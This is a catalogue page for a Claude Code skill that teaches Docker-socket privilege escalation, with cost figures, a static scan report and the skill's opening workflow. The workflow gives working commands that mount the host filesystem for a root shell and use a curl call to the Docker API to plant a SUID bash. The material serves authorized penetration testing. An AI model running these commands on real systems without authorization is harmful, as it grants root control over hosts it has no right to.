docker-daemon-privesc

docker-daemon-privesc is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 50 tokens per session (1,203 once invoked), scanned A, a copy of docker-daemon-privesc, Apache-2.0.

A Linux privilege-escalation procedure for unsafe Docker access. Docker runs applications in containers, and access to its control socket or group can sometimes provide control over the host operating system.

In plain words
What is it for?
Use it on an authorized Linux or container assessment to check Docker group membership, socket permissions, and the boundary between containers and their host.
Why use it?
It helps identify configurations where a container user or ordinary Linux user can use Docker to access protected host files or obtain root-level control.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it on an authorized Linux or container assessment to check Docker group membership, socket permissions, and the boundary between containers and their host.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privesc

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for docker-daemon-privesc

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privesc/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privesc)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privesc"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privesc/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for docker-daemon-privesc

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privesc"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privesc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 50 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,203 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00050 $0.01203
Opus 5 $0.00025 $0.00602
Sonnet 5 $0.00010 $0.00241
Haiku 4.5 $0.00005 $0.00120

Measured 8d ago against content hash 3180be3c297b, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

docker-daemon-privesc scanned grade A with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

# curl -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/bash && chmod +s /mnt/tmp/bash\""],"Binds":["/:/mnt"]}' --unix-socket /var/run/doc

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

# curl -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/bash && chmod +s /mnt/tmp/bash\""],"Binds":["/:/mnt"]}' --unix-socket /var/run/doc

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [docker, curl]
Origin

This is a copy

100% identical to docker-daemon-privesc — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/penetration-testing/privilege-escalation/docker-daemon-privesc/SKILL.md · 127 lines

How it starts

The opening of the file, as written. The whole thing — 127 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Docker Daemon Privilege Escalation

When to Use

  • During a Linux local privilege escalation phase.
  • When you have a shell as a non-root user who is a member of the docker group.
  • When you discover a writable Docker socket (e.g., /var/run/docker.sock) mounted inside a container or accessible on the host.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Enumeration

# Concept: Check if the current user is in the docker group or if the socket is writable. id
# Output: uid=1000(user) gid=1000(user) groups=1000(user),999(docker)

# Check socket permissions ls -l /var/run/docker.sock
# Output: srw-rw---- 1 root docker 0 Oct 26 10:00 /var/run/docker.sock

Phase 2: Exploitation via Docker CLI

If the docker command is available:

# docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# id
# Output: uid=0(root) gid=0(root) groups=0(root)

(Explanation: This mounts the host's root filesystem / into the container at /mnt and drops you into a shell inside the container but chrooted to the host's filesystem as root).

Phase 3: Exploitation via API (Curl)

If the docker CLI tool is not installed, but you can write to the socket:

# curl -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/bash && chmod +s /mnt/tmp/bash\""],"Binds":["/:/mnt"]}' --unix-socket /var/run/docker.sock http://localhost/containers/create

# Start the container curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/<CONTAINER_ID>/start

# Execute the SUID binary on the host tmp/bash -p
Decision Point 🔀
flowchart TD
    A[Enumerate Docker ] --> B{In Docker Group / Socket Access? ]}
    B -->|Yes| C[Is Docker CLI present? ]
    B -->|No| D[Check other PrivEsc vectors ]
    C -->|Yes| E[Run container mounting Host FS ]
    C -->|No| F[Curl Docker API ]

Read the full file on GitHub · 127 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 127 lines · 50 tokens per session scan A 3180be3c297b

Subscribe to this mod's changes

docker-daemon-privesc is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 50 tokens to every session and 1,203 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 3 findings (sends data to an external url, asks for root, makes network calls). It is 100% identical to docker-daemon-privesc, differing in 0 lines, and is treated as a copy.

Related

Other skills, from other repositories

docker-daemon-privesc

Exploit misconfigured Docker environments, specifically focusing on privilege escalation via an exposed Docker daemon socket (docker.sock) or membership in the local docker user group to achieve root access on the host system.

ShulkwiSEC/bb-huge · 50 tokens

docker-privesc

Escape Docker containers to host root via 5 techniques.

uphiago/recon-skills · 16 tokens

dll-hijacking-privesc

Exploit local systems via DLL load order hijacking. This skill details how to identify applications on Windows that insecurely load Dynamic Link Libraries (DLLs) and how to substitute a legitimate DLL with a malicious one to achieve privilege escalation or persistent access.

ShulkwiSEC/bb-huge · 60 tokens

docker-container-escape

Escape from Docker containers to the host system using container misconfigurations, mounted sockets, privileged mode, capabilities abuse, and kernel exploits. Use this skill when testing containerized environments for breakout vulnerabilities during penetration tests. Covers Docker socket mounting, cgroup escapes…

ShulkwiSEC/bb-huge · 65 tokens

privesc-linpeas

Linux privilege escalation enumeration and attack surface analysis using LinPEAS (Linux Privilege Escalation Awesome Script). Automates post-exploitation discovery of escalation vectors, misconfigurations, and credential exposure on Linux targets. Use when: (1) Enumerating privilege escalation vectors after initial…

AgentSecOps/SecOpsAgentKit · 153 tokens

alpine

Alpine Linux reference — the minimal, security-oriented distribution for containers. Covers apk package management, Docker optimization, multi-stage builds, musl vs glibc compatibility, OpenRC system admin, security hardening, and common troubleshooting.

bytesagain/ai-skills · 50 tokens